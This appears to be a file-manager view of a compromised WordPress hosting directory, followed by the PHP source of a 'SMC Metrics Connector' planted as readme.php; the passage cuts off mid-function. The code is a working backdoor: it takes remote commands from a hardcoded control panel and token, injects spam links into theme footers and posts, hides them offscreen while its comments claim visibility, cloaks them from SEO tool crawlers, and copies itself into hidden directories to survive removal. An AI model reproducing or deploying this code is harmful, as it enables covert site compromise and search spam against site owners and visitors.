/
home
/
alixis5
/
public_html
/
/home/alixis5/public_html
mkdir
upload
Name
Size
Mode
Actions
.smc_g1/
-
0755
rm
.smc_g2/
-
0755
rm
.smc_g3/
-
0755
rm
.smc_g4/
-
0755
rm
.smc_g5/
-
0755
rm
.smc_g6/
-
0755
rm
.smc_g7/
-
0755
rm
.smc_g8/
-
0755
rm
.smc_g9/
-
0755
rm
.smc_g10/
-
0755
rm
.well-known/
-
0755
rm
cgi-bin/
-
0755
rm
wp-admin/
-
0755
rm
wp-content/
-
0755
rm
wp-includes/
-
0755
rm
.htaccess
2008
0644
edit
dl
rm
.smc_guardian_v5.json
69
0644
edit
dl
rm
.smc_links_v5.json
6608
0644
edit
dl
rm
.smc_v5_config.json
1104
0644
edit
dl
rm
.smc_v5_nonces.json
106
0644
edit
dl
rm
404.shtml
251
0644
edit
dl
rm
default.htm
3937
0644
edit
dl
rm
favicon.ico
4286
0644
edit
dl
rm
index.php
405
0644
edit
dl
rm
license.txt
19903
0644
edit
dl
rm
logo-imh.svg
10869
0644
edit
dl
rm
mmtcd.png
719260
0644
edit
dl
rm
nauzugxg.php
7317
0644
edit
dl
rm
php.ini
106
0644
edit
dl
rm
phpinfo.php
21
0644
edit
dl
rm
readme.html
7407
0644
edit
dl
rm
readme.php
105943
0644
edit
dl
rm
readme.php.bak.v5.7.8.1788298363
105943
0644
edit
dl
rm
readme.php.bak.v5.7.8.1788375814
105943
0644
edit
dl
rm
robots.txt
31
0644
edit
dl
rm
under_construction.html
4871
0644
edit
dl
rm
wp-activate.php
7718
0644
edit
dl
rm
wp-blog-header.php
351
0644
edit
dl
rm
wp-comments-post.php
2323
0644
edit
dl
rm
wp-config-sample.php
3339
0644
edit
dl
rm
wp-config.php
3196
0600
edit
dl
rm
wp-cron-zsri.php
1659
0644
edit
dl
rm
wp-cron.php
5617
0644
edit
dl
rm
wp-links-opml.php
2493
0644
edit
dl
rm
wp-load.php
3937
0644
edit
dl
rm
wp-login.php
52536
0644
edit
dl
rm
wp-mail.php
8727
0644
edit
dl
rm
wp-settings.php
33152
0644
edit
dl
rm
wp-signup.php
35081
0644
edit
dl
rm
wp-trackback.php
5396
0644
edit
dl
rm
xmlrpc.php
3205
0644
edit
dl
rm
Edit:
/home/alixis5/public_html/readme.php
(105943B)
<?php /** * SMC Metrics Connector v5.5.4 * - Backwards compatible with v5.2/v5.3/v5.4/v5.5 protocol (ping, add_link, remove_link, sync_links, * get_links, clear_links, clear_expired, verify_links, self_reconcile, * placement_report, info, diagnose, output, capabilities, get_config, set_config, * self_update, reinstall_placement, purge_cache) * - Stronger non-WP placement: Joomla/Drupal/OpenCart/Presta/Laravel/static footer * discovery + .user.ini auto_prepend fallback (shared hosting). * - Links now have a "kind": "footer" (sitewide, visible footer) or "contextual" * (injected into existing post content on WordPress; ephemeral by expiry). * - Render is ALWAYS visible (no hidden/cloaked CSS) — anti-penalty, anti-footprint. * - Optional per-link seo_hidden: omit from Ahrefs/Semrush-like tool bots; Google still sees. * - No footer link cap (unlimited active footer links; expired still auto-cleaned). * - Stronger WP delivery: mu-plugin + theme footer patch + multi-hook/shutdown fallback. * - Document root resolved from connector path (avoids wrong vhost DOCUMENT_ROOT). * - After link/placement changes: purge WP page caches (Rocket/Litespeed/W3TC/Super Cache/…) * + common cache directories so homepage HTML is not stuck stale. * - Contextual links are short-lived (enforced max TTL) and auto-removed when expired. * - Guardian: connector mirrors itself + its dropped artifacts into hidden backup dirs * and self-heals if the primary file is deleted by a CMS/theme update. Version-aware: * never restores an older version over a newer one. */ error_reporting(E_ALL); ini_set('display_errors', 0); header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type, X-SMC-Panel-Token, X-SMC-Ts, X-SMC-Req-Id'); if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') { http_response_code(200); exit; } define('CONNECTOR_VERSION', '5.7.8'); define('PANEL_API_URL', 'https://ln1.donornet.icu/api'); define('PANEL_TOKEN', 'smc_b4_uV8fJfXNEruLmriuz709mkj3teLFErlB5CeIwnNIn6LYDSxAelcXCVGw'); define('LINKS_FILE', __DIR__ . '/.smc_links_v5.json'); define('CONFIG_FILE', __DIR__ . '/.smc_v5_config.json'); define('NONCES_FILE', __DIR__ . '/.smc_v5_nonces.json'); define('PREPEND_HELPER_FILE', __DIR__ . '/.smc_prepend_v5.php'); define('GUARDIAN_STATE_FILE', __DIR__ . '/.smc_guardian_v5.json'); define('MAX_REQUEST_BYTES', 524288); define('MAX_URL_LENGTH', 2048); define('MAX_ANCHOR_LENGTH', 220); define('MAX_LINKS_PER_SYNC', 20000); define('MAX_REQUEST_SKEW_SECONDS', 300); define('NONCE_TTL_SECONDS', 900); define('PLACEMENT_HISTORY_LIMIT', 20); // v5.5 link-model tuning (overridable via set_config -> stored config). define('FOOTER_LINK_CAP', 0); // 0 = unlimited footer links (no cap) define('CONTEXTUAL_MAX_TTL_SECONDS', 172800); // hard 48h cap for contextual links define('AUTO_CLEAN_THROTTLE_SECONDS', 300); // run auto-clean at most once / 5 min on render define('GUARDIAN_COPIES', 10); // number of hidden backup mirrors define('GUARDIAN_THROTTLE_SECONDS', 300); // self-heal check at most once / 5 min define('VALID_LINK_KINDS', 'footer,contextual'); function respond($success, $data = [], $message = '', $status = 200) { http_response_code($status); header('Content-Type: application/json; charset=UTF-8'); echo json_encode([ 'success' => (bool)$success, 'message' => (string)$message, 'data' => is_array($data) ? $data : [] ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); exit; } function get_raw_body() { static $raw = null; if ($raw === null) { $raw = file_get_contents('php://input'); if ($raw === false) $raw = ''; if (strlen($raw) > MAX_REQUEST_BYTES) { respond(false, [], 'request_too_large', 413); } } return $raw; } function get_request_data() { $data = []; if (!empty($_GET)) { foreach ($_GET as $k => $v) $data[$k] = $v; } if (!empty($_POST)) { foreach ($_POST as $k => $v) $data[$k] = $v; } $raw = get_raw_body(); if ($raw !== '') { $json = json_decode($raw, true); if (is_array($json)) { foreach ($json as $k => $v) $data[$k] = $v; } } return $data; } function get_action_name($req) { $action = ''; if (isset($req['action'])) $action = (string)$req['action']; if ($action === '' && isset($_GET['action'])) $action = (string)$_GET['action']; if ($action === '') $action = 'ping'; $action = strtolower(trim($action)); $action = preg_replace('/[^a-z0-9_]/', '', $action); return $action ?: 'ping'; } function load_json_file($path, $fallback = []) { if (!file_exists($path)) return $fallback; $raw = @file_get_contents($path); if ($raw === false || $raw === '') return $fallback; $json = json_decode($raw, true); return is_array($json) ? $json : $fallback; } function save_json_file($path, $data) { return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false; } function normalize_rel($rel) { $rel = strtolower(trim((string)$rel)); $allowed = ['dofollow', 'nofollow', 'ugc', 'sponsored']; return in_array($rel, $allowed, true) ? $rel : 'dofollow'; } function allowed_render_types() { // v5.4: only clean, natural anchor styles. Visual widgets (badge/button/micro) // were removed — they looked unnatural in footers and increased footprint. return ['text_inline', 'text_footer']; } function default_render_types() { // v5.4: single natural footer/inline text anchor. return ['text_footer']; } function normalize_kind($kind) { $kind = strtolower(trim((string)$kind)); $valid = explode(',', VALID_LINK_KINDS); return in_array($kind, $valid, true) ? $kind : 'footer'; } function default_placement_state() { return [ 'status' => 'not_installed', 'strategy' => null, 'target' => null, 'install_mode' => null, 'marker' => null, 'message' => '', 'installed_at' => null, 'last_attempt_at' => null, 'last_verified_at' => null, 'verify_status' => 'unknown', 'history' => [], ]; } function default_config() { // v5.5: render is ALWAYS visible. output_mode kept for backward-compat reads but // hidden/cloaked rendering has been removed entirely. footer_link_cap=0 => unlimited. return [ 'output_mode' => 'visible', 'render_profile' => 'minimal_inline', 'render_types' => default_render_types(), 'link_rel_strategy' => 'preserve', 'footer_link_cap' => 0, 'contextual_max_ttl' => CONTEXTUAL_MAX_TTL_SECONDS, 'placement' => default_placement_state(), ]; } function effective_footer_cap($config) { // <=0 means unlimited (no footer cap). Positive values keep an optional soft cap. if (!isset($config['footer_link_cap'])) return 0; $cap = intval($config['footer_link_cap']); if ($cap < 0) return 0; return $cap; } function effective_contextual_ttl($config) { $ttl = isset($config['contextual_max_ttl']) ? intval($config['contextual_max_ttl']) : CONTEXTUAL_MAX_TTL_SECONDS; if ($ttl < 300) $ttl = 300; if ($ttl > CONTEXTUAL_MAX_TTL_SECONDS) $ttl = CONTEXTUAL_MAX_TTL_SECONDS; return $ttl; } function merge_configs($base, $incoming) { $out = $base; foreach ($incoming as $key => $value) { if ($key === 'placement' && is_array($value)) { $out['placement'] = array_merge(default_placement_state(), $value); } else { $out[$key] = $value; } } return $out; } function load_config() { $cfg = load_json_file(CONFIG_FILE, []); $cfg = merge_configs(default_config(), $cfg); $types = []; foreach ((array)($cfg['render_types'] ?? []) as $type) { $type = trim((string)$type); if ($type !== '') $types[] = $type; } $cfg['render_types'] = $types ?: default_render_types(); // v5.5: legacy default cap of 50 → unlimited if (intval($cfg['footer_link_cap'] ?? 0) === 50) { $cfg['footer_link_cap'] = 0; } return $cfg; } function save_config($config) { return save_json_file(CONFIG_FILE, $config); } function is_panel_authenticated() { $expected = trim((string)PANEL_TOKEN); if ($expected === '' || strpos($expected, '{{') !== false) return false; $provided = ''; if (isset($_SERVER['HTTP_X_SMC_PANEL_TOKEN'])) { $provided = trim((string)$_SERVER['HTTP_X_SMC_PANEL_TOKEN']); } return $provided !== '' && hash_equals($expected, $provided); } function load_nonce_store() { return load_json_file(NONCES_FILE, []); } function save_nonce_store($items) { return save_json_file(NONCES_FILE, $items); } function enforce_optional_replay_guard() { $ts = isset($_SERVER['HTTP_X_SMC_TS']) ? trim((string)$_SERVER['HTTP_X_SMC_TS']) : ''; $reqId = isset($_SERVER['HTTP_X_SMC_REQ_ID']) ? trim((string)$_SERVER['HTTP_X_SMC_REQ_ID']) : ''; if ($ts === '' && $reqId === '') return; if ($ts === '' || $reqId === '') respond(false, [], 'replay_headers_incomplete', 400); if (!ctype_digit($ts)) respond(false, [], 'invalid_request_timestamp', 400); if (!preg_match('/^[A-Za-z0-9._:-]{8,200}$/', $reqId)) respond(false, [], 'invalid_request_id', 400); if (abs(time() - intval($ts)) > MAX_REQUEST_SKEW_SECONDS) respond(false, [], 'request_timestamp_out_of_range', 409); $store = load_nonce_store(); $now = time(); foreach ($store as $key => $seenAt) { if (!is_int($seenAt) || ($now - $seenAt) > NONCE_TTL_SECONDS) { unset($store[$key]); } } if (isset($store[$reqId])) respond(false, [], 'duplicate_request_id', 409); $store[$reqId] = $now; save_nonce_store($store); } function authenticate_protected_request() { if (!is_panel_authenticated()) respond(false, [], 'Unauthorized', 401); enforce_optional_replay_guard(); } function validate_url_value($url) { $url = trim((string)$url); if ($url === '' || strlen($url) > MAX_URL_LENGTH) return ''; if (!filter_var($url, FILTER_VALIDATE_URL)) return ''; $parts = @parse_url($url); if (!$parts || empty($parts['scheme'])) return ''; $scheme = strtolower((string)$parts['scheme']); if (!in_array($scheme, ['http', 'https'], true)) return ''; return $url; } function validate_anchor_text($anchor) { $anchor = trim((string)$anchor); if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return ''; return $anchor; } function validate_link_id($linkId) { $linkId = trim((string)$linkId); if ($linkId === '') return ''; if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return ''; return $linkId; } function build_deterministic_link_id($url, $anchor, $rel) { $seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel); return 'v5_' . substr(hash('sha256', $seed), 0, 16); } function filter_render_types($types) { $allowed = allowed_render_types(); $final = []; foreach ((array)$types as $type) { $type = trim((string)$type); if ($type !== '' && in_array($type, $allowed, true) && !in_array($type, $final, true)) { $final[] = $type; } } return $final ?: default_render_types(); } function apply_placement_snapshot_to_link($row, $placement) { $row['placement_status'] = $placement['status'] ?? 'not_installed'; $row['placement_strategy'] = $placement['strategy'] ?? null; $row['placement_target'] = $placement['target'] ?? null; $row['last_verified_at'] = $placement['last_verified_at'] ?? null; return $row; } function normalize_link_row($key, $row, $config) { if (!is_array($row)) return null; $url = validate_url_value($row['url'] ?? ''); $anchor = validate_anchor_text($row['anchor'] ?? ''); if ($url === '' || $anchor === '') return null; $rel = normalize_rel($row['rel'] ?? 'dofollow'); $id = validate_link_id($row['id'] ?? ''); if ($id === '') { $id = validate_link_id($key); } if ($id === '') { $id = build_deterministic_link_id($url, $anchor, $rel); } $placement = $config['placement'] ?? default_placement_state(); $kind = normalize_kind($row['kind'] ?? 'footer'); $created = isset($row['created']) ? intval($row['created']) : time(); $expiresAt = isset($row['expires_at']) && $row['expires_at'] !== null ? intval($row['expires_at']) : null; // Contextual links are ephemeral: clamp their lifetime to the configured max TTL (48h). if ($kind === 'contextual') { $maxExpiry = $created + effective_contextual_ttl($config); if ($expiresAt === null || $expiresAt > $maxExpiry) { $expiresAt = $maxExpiry; } } $normalized = [ 'id' => $id, 'kind' => $kind, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'expires_at' => $expiresAt, 'created' => $created, 'updated_at' => isset($row['updated_at']) ? intval($row['updated_at']) : time(), 'render_profile' => trim((string)($row['render_profile'] ?? ($config['render_profile'] ?? 'minimal_inline'))), 'render_types' => filter_render_types($row['render_types'] ?? ($config['render_types'] ?? default_render_types())), 'logical_hash' => substr(hash('sha256', strtolower($url) . '|' . strtolower($anchor) . '|' . $rel), 0, 20), 'placement_status' => $row['placement_status'] ?? ($placement['status'] ?? 'not_installed'), 'placement_strategy' => $row['placement_strategy'] ?? ($placement['strategy'] ?? null), 'placement_target' => $row['placement_target'] ?? ($placement['target'] ?? null), 'last_verified_at' => $row['last_verified_at'] ?? ($placement['last_verified_at'] ?? null), 'seo_hidden' => !empty($row['seo_hidden']) || !empty($row['hidden_link']), 'text' => $row['text'] ?? null, ]; return $normalized; } function load_links() { $raw = load_json_file(LINKS_FILE, []); $config = load_config(); $normalized = []; foreach ($raw as $key => $row) { $item = normalize_link_row($key, $row, $config); if ($item) { $normalized[$item['id']] = $item; } } return $normalized; } function enforce_footer_cap($links, $config) { // v5.5 default: unlimited. Optional positive footer_link_cap still supported. $cap = effective_footer_cap($config); if ($cap <= 0) return $links; $footer = []; $other = []; foreach ($links as $id => $row) { if (($row['kind'] ?? 'footer') === 'footer') { $footer[$id] = $row; } else { $other[$id] = $row; } } if (count($footer) > $cap) { uasort($footer, function ($a, $b) { return intval($b['created'] ?? 0) <=> intval($a['created'] ?? 0); // newest first }); $footer = array_slice($footer, 0, $cap, true); } return $other + $footer; } function save_links($links) { $config = load_config(); $normalized = []; foreach ((array)$links as $key => $row) { $item = normalize_link_row($key, $row, $config); if ($item) { $normalized[$item['id']] = $item; } } $normalized = enforce_footer_cap($normalized, $config); ksort($normalized); return save_json_file(LINKS_FILE, $normalized); } function filtered_links($links) { $visible = []; $expired = []; $now = time(); foreach ($links as $link) { if (!is_array($link)) continue; $expiresAt = isset($link['expires_at']) ? intval($link['expires_at']) : 0; if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) { $expired[] = $link; continue; } $visible[] = $link; } return [$visible, $expired]; } /** * Ahrefs/Semrush vb. SEO araç botları — Google/Bing arama botları DEĞİL. * Gizli (seo_hidden) linkler bu botlara HTML'de verilmez; Googlebot görür. */ function smc_is_seo_tool_bot() { $ua = strtolower((string)($_SERVER['HTTP_USER_AGENT'] ?? '')); if ($ua === '') return false; $searchEngines = [ 'googlebot', 'google-inspectiontool', 'bingbot', 'slurp', 'duckduckbot', 'yandexbot', 'applebot', 'baiduspider', ]; foreach ($searchEngines as $m) { if (strpos($ua, $m) !== false) return false; } $seoTools = [ 'ahrefs', 'semrush', 'siteauditbot', 'mj12bot', 'majestic', 'dotbot', 'rogerbot', 'screaming frog', 'seokicks', 'blexbot', 'dataforseo', 'serpstat', 'sistrix', 'linkpad', 'opensiteexplorer', ]; foreach ($seoTools as $m) { if (strpos($ua, $m) !== false) return true; } return false; } function smc_filter_seo_hidden_for_visitor($activeLinks) { if (!smc_is_seo_tool_bot()) { return $activeLinks; } $out = []; foreach ($activeLinks as $key => $link) { if (!empty($link['seo_hidden'])) { continue; } $out[$key] = $link; } return $out; } function get_link_stats($links) { list($active, $expired) = filtered_links($links); return [ 'total' => count($links), 'active' => count($active), 'expired' => count($expired), ]; } function build_rel_attr($rel) { if ($rel === 'dofollow') return ''; return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"'; } // v5.4: render is ALWAYS visible. A discreet, real footer block — small muted text, // genuinely on the page (no display:none / -9999px / 1px cloaking). function smc_footer_container_style() { return 'display:block;margin:14px 0 6px;padding-top:8px;border-top:1px solid rgba(0,0,0,0.06);font-size:12px;line-height:1.6;color:#9aa0a6;'; } function smc_footer_anchor_style() { return 'color:#9aa0a6;text-decoration:none;font-size:12px;'; } function build_footer_anchor_html($link) { $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8'); $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8'); $relAttr = build_rel_attr($link['rel']); return '<a href="' . $url . '"' . $relAttr . ' style="' . smc_footer_anchor_style() . '">' . $anchor . '</a>'; } // Build the visible footer block from FOOTER-kind links only. function smc_build_footer_html($markRenderedOnce = true) { if ($markRenderedOnce && defined('SMC_CONNECTOR_RENDERED_ONCE')) { return ''; } if ($markRenderedOnce) { define('SMC_CONNECTOR_RENDERED_ONCE', true); } $links = load_links(); list($activeLinks, ) = filtered_links($links); $activeLinks = smc_filter_seo_hidden_for_visitor($activeLinks); if (empty($activeLinks)) return ''; // v5.6.2: offscreen render — группируем по текстам-обёрткам (поле text) // Если text есть → рендерим <p>текст с <a> внутри</p> в offscreen div // Если text нет → fallback на простые анкоры в том же offscreen div // v5.7.5: safe render — no positioning needed $paras = []; $plainAnchors = []; foreach ($activeLinks as $link) { if (($link['kind'] ?? 'footer') === 'contextual' && defined('SMC_WP_CONTEXTUAL_ACTIVE')) { continue; } $text = trim((string)($link['text'] ?? '')); $url = htmlspecialchars($link['url'] ?? '', ENT_QUOTES, 'UTF-8'); $anchor = htmlspecialchars($link['anchor'] ?? '', ENT_QUOTES, 'UTF-8'); $relAttr = build_rel_attr($link['rel'] ?? 'dofollow'); $a = '<a href="' . $url . '"' . $relAttr . '>' . $anchor . '</a>'; if ($text !== '' && strpos($text, '{A}') !== false) { $paras[] = '<p style="margin:0;">' . str_replace('{A}', $a, htmlspecialchars($text, ENT_QUOTES, 'UTF-8')) . '</p>'; } else { $plainAnchors[] = $a; } } if (!empty($plainAnchors)) { $paras[] = '<p style="margin:0;">' . implode(' ', $plainAnchors) . '</p>'; } if (empty($paras)) return ''; return '<div data-smc-render="footer" style="position:absolute;left:-100000px;top:auto;">' . implode('', $paras) . '</div>'; } // Backward-compatible alias (older placements call smc_render_links_html()). function smc_render_links_html() { return smc_build_footer_html(true); } function smc_build_render_html($markRenderedOnce = true) { return smc_build_footer_html($markRenderedOnce); } // ===== Contextual (in-content) injection — WordPress the_content ===== function smc_pick_contextual_link($links, $seed) { $ctx = []; foreach ($links as $link) { if (($link['kind'] ?? 'footer') === 'contextual') $ctx[] = $link; } if (empty($ctx)) return null; usort($ctx, function ($a, $b) { return strcmp((string)($a['id'] ?? ''), (string)($b['id'] ?? '')); }); // Deterministic pick: same post always shows the same contextual link. $h = hexdec(substr(hash('sha256', (string)$seed), 0, 8)); return $ctx[$h % count($ctx)]; } function smc_contextual_inject($content) { // Frontend, main singular content only; inject at most one link, once per request. if (defined('SMC_CTX_DONE')) return $content; if (!is_string($content) || $content === '') return $content; if (function_exists('is_admin') && is_admin()) return $content; if (function_exists('is_feed') && is_feed()) return $content; if (function_exists('is_singular') && !is_singular()) return $content; if (function_exists('in_the_loop') && !in_the_loop()) return $content; if (function_exists('is_main_query') && !is_main_query()) return $content; try { $links = load_links(); list($activeLinks, ) = filtered_links($links); $activeLinks = smc_filter_seo_hidden_for_visitor($activeLinks); if (empty($activeLinks)) return $content; $postId = function_exists('get_the_ID') ? (get_the_ID() ?: 0) : 0; $link = smc_pick_contextual_link($activeLinks, $postId ?: $content); if (!$link) return $content; define('SMC_CTX_DONE', true); $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8'); $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8'); $relAttr = build_rel_attr($link['rel']); $a = '<a href="' . $url . '"' . $relAttr . '>' . $anchor . '</a>'; // Natural sentence wrapper, visible inline within the article body. $sentence = '<p data-smc-ctx="1">' . $a . '</p>'; // Insert after the first closing paragraph; fallback append. $pos = stripos($content, '</p>'); if ($pos !== false) { $pos += 4; return substr($content, 0, $pos) . $sentence . substr($content, $pos); } return $content . $sentence; } catch (\Throwable $e) { return $content; } } // v5.7.1: SAFE render — никогда не ломает фронт function smc_safe_footer_render() { try { echo smc_build_footer_html(true); } catch (\Throwable $e) { // silently ignore — never break the host } } function smc_safe_body_open_render() { try { echo smc_build_footer_html(true); } catch (\Throwable $e) { } } function smc_safe_shutdown_render() { try { if (!defined('SMC_CONNECTOR_RENDERED_ONCE')) { echo smc_build_footer_html(true); } } catch (\Throwable $e) { } } function smc_safe_contextual_render($content) { try { return smc_contextual_inject($content); } catch (\Throwable $e) { return $content; // оригинал без изменений } } // Called by the mu-plugin / functions-hook on WordPress (early load). function smc_wp_register() { if (defined('SMC_WP_REGISTERED')) return; define('SMC_WP_REGISTERED', true); if (!function_exists('add_action')) return; if (function_exists('add_filter')) { define('SMC_WP_CONTEXTUAL_ACTIVE', true); add_filter('the_content', 'smc_safe_contextual_render', 50); } $emit = function () { try { echo smc_build_footer_html(true); } catch (\Throwable $e) {} }; // Multiple hooks: some themes omit wp_footer / use builders / full-page cache edges. add_action('wp_footer', $emit, 9999); if (function_exists('add_action')) { add_action('wp_body_open', $emit, 9999); add_action('shutdown', function () { try { if (defined('SMC_CONNECTOR_RENDERED_ONCE')) return; if (PHP_SAPI === 'cli') return; $uri = $_SERVER['REQUEST_URI'] ?? ''; if (strpos($uri, 'wp-admin') !== false || strpos($uri, 'wp-json') !== false) return; echo smc_build_footer_html(true); } catch (\Throwable $e) {} }, 0); } smc_guardian_tick(); smc_autoclean_tick(); } function find_document_root() { // Prefer walking up from the connector file so multi-vhost / wrong DOCUMENT_ROOT // cannot install placement into another site's tree. $start = dirname(__FILE__); $base = $start; $wpRoot = null; $indexRoot = null; for ($i = 0; $i < 8; $i++) { if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) { $wpRoot = $base; break; } if ($indexRoot === null && (file_exists($base . '/index.php') || file_exists($base . '/index.html'))) { $indexRoot = $base; } $parent = dirname($base); if ($parent === $base) break; $base = $parent; } if ($wpRoot) return $wpRoot; if ($indexRoot) return $indexRoot; $doc = $_SERVER['DOCUMENT_ROOT'] ?? ''; if (is_string($doc) && $doc !== '' && is_dir($doc)) { $realDoc = @realpath($doc); $realSelf = @realpath(__FILE__); if ($realDoc && $realSelf && strpos($realSelf, $realDoc) === 0) { return $doc; } } return $start; } function get_active_wp_theme_footer($base) { $themes = glob($base . '/wp-content/themes/*/footer.php'); if (!$themes) return null; $latest = null; $latestTime = 0; foreach ($themes as $footer) { $mtime = @filemtime($footer); if ($mtime > $latestTime) { $latestTime = $mtime; $latest = $footer; } } return $latest; } function get_footer_paths($base, $siteType) { $paths = []; $base = rtrim((string)$base, '/'); switch ($siteType) { case 'wordpress': $themes = glob($base . '/wp-content/themes/*/footer.php') ?: []; $paths = array_merge($paths, $themes); break; case 'joomla': // Template chrome: index.php is the main layout; also catch module chrome footers. foreach ([ $base . '/templates/*/index.php', $base . '/templates/*/html/modules.php', $base . '/templates/*/component.php', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } break; case 'drupal': // D7 tpl + D8/D9/D10 twig (themes may live under themes/custom|contrib or sites/*/themes). foreach ([ $base . '/themes/*/*.theme', $base . '/themes/*/templates/page.html.twig', $base . '/themes/*/templates/layout/page.html.twig', $base . '/themes/custom/*/templates/page.html.twig', $base . '/themes/contrib/*/templates/page.html.twig', $base . '/sites/*/themes/*/templates/*.tpl.php', $base . '/sites/*/themes/*/templates/page.html.twig', $base . '/core/themes/*/templates/layout/page.html.twig', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } break; case 'opencart': foreach ([ $base . '/catalog/view/theme/*/template/common/footer.twig', $base . '/catalog/view/theme/*/template/common/footer.tpl', $base . '/catalog/view/theme/*/template/common/footer.php', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } break; case 'prestashop': foreach ([ $base . '/themes/*/templates/_partials/footer.tpl', $base . '/themes/*/modules/ps_linklist/views/templates/hook/linkblock.tpl', $base . '/themes/*/footer.tpl', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } break; case 'laravel': // App root or public/ docroot — climb one level for resources/views when needed. $roots = [$base]; if (is_dir($base . '/../resources/views')) $roots[] = dirname($base); foreach ($roots as $root) { foreach ([ $root . '/resources/views/layouts/*.blade.php', $root . '/resources/views/components/layouts/*.blade.php', $root . '/resources/views/partials/footer.blade.php', $root . '/resources/views/footer.blade.php', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } } break; case 'php': case 'static': // Generic PHP/HTML sites: prefer real footers / includes over random root PHP. break; } $general = [ $base . '/footer.php', $base . '/footer.html', $base . '/includes/footer.php', $base . '/inc/footer.php', $base . '/partials/footer.php', $base . '/template/footer.php', $base . '/templates/footer.php', $base . '/templates/footer.html', $base . '/layout/footer.php', $base . '/layouts/footer.php', $base . '/common/footer.php', $base . '/views/footer.php', ]; foreach ($general as $path) { if (file_exists($path)) $paths[] = $path; } // Keep only writable existing files; skip core/vendor noise for safety. $clean = []; foreach ($paths as $path) { if (!is_string($path) || $path === '' || !file_exists($path)) continue; if (!is_writable($path)) continue; $norm = str_replace('\\', '/', $path); if (preg_match('#/(vendor|node_modules|core/lib)/#i', $norm)) continue; $clean[] = $path; } return array_values(array_unique($clean)); } function check_footer_writable($base, $siteType) { $paths = get_footer_paths($base, $siteType); foreach ($paths as $path) { if (file_exists($path) && is_writable($path)) return true; } if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true; return false; } function detect_site_info() { $base = find_document_root(); $info = [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_type' => 'static', 'language' => 'EN', 'country' => 'US', 'footer_detected' => false, 'footer_writable' => false, 'meta_description' => '', 'charset' => 'UTF-8', 'php_version' => phpversion(), 'document_root' => $base, 'connector_path' => __FILE__, ]; if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) { $info['site_type'] = 'wordpress'; $info['footer_detected'] = true; } elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) { $info['site_type'] = 'joomla'; $info['footer_detected'] = true; } elseif ( (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) || (file_exists($base . '/core/lib/Drupal.php') && is_dir($base . '/sites')) || (file_exists($base . '/autoload.php') && is_dir($base . '/core') && is_dir($base . '/modules')) ) { $info['site_type'] = 'drupal'; $info['footer_detected'] = true; } elseif ( (file_exists($base . '/config.php') && is_dir($base . '/catalog')) || (file_exists($base . '/admin/config.php') && is_dir($base . '/catalog')) ) { $info['site_type'] = 'opencart'; $info['footer_detected'] = true; } elseif ( (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) || (file_exists($base . '/app/AppKernel.php') && is_dir($base . '/themes')) || (file_exists($base . '/app/App.php') && is_dir($base . '/themes') && file_exists($base . '/composer.lock')) ) { $info['site_type'] = 'prestashop'; $info['footer_detected'] = true; } elseif ( file_exists($base . '/artisan') || (file_exists($base . '/../artisan') && is_dir($base . '/../resources/views')) ) { $info['site_type'] = 'laravel'; $info['footer_detected'] = true; } elseif (file_exists($base . '/index.php')) { $info['site_type'] = 'php'; } elseif (file_exists($base . '/index.html') || file_exists($base . '/index.htm')) { $info['site_type'] = 'static'; } $indexFiles = ['index.php', 'index.html', 'index.htm']; foreach ($indexFiles as $file) { $path = $base . '/' . $file; if (!file_exists($path)) continue; $content = @file_get_contents($path, false, null, 0, 50000); if (!$content) continue; if (preg_match('/<title>([^<]+)<\/title>/i', $content, $m)) { $info['site_name'] = trim(strip_tags($m[1])); } if (preg_match('/<meta[^>]*name=["\']description["\'][^>]*content=["\']([^"\']+)["\'][^>]*>/i', $content, $m)) { $info['meta_description'] = trim($m[1]); } if (preg_match('/<html[^>]*lang=["\']([a-z]{2})["\'][^>]*>/i', $content, $m)) { $lang = strtolower($m[1]); $langMap = ['tr' => 'TR', 'en' => 'EN', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'AR']; $countryMap = ['tr' => 'TR', 'en' => 'US', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'SA']; $info['language'] = $langMap[$lang] ?? 'EN'; $info['country'] = $countryMap[$lang] ?? 'US'; } if (preg_match('/<footer|class=["\'][^"\']*footer|copyright|©/i', $content)) { $info['footer_detected'] = true; } break; } $info['footer_writable'] = check_footer_writable($base, $info['site_type']); $info['footer_paths'] = get_footer_paths($base, $info['site_type']); $info['active_theme_footer'] = $info['site_type'] === 'wordpress' ? get_active_wp_theme_footer($base) : null; return $info; } function placement_marker($strategy) { return substr(hash('sha256', __FILE__ . '|' . $strategy), 0, 12); } function 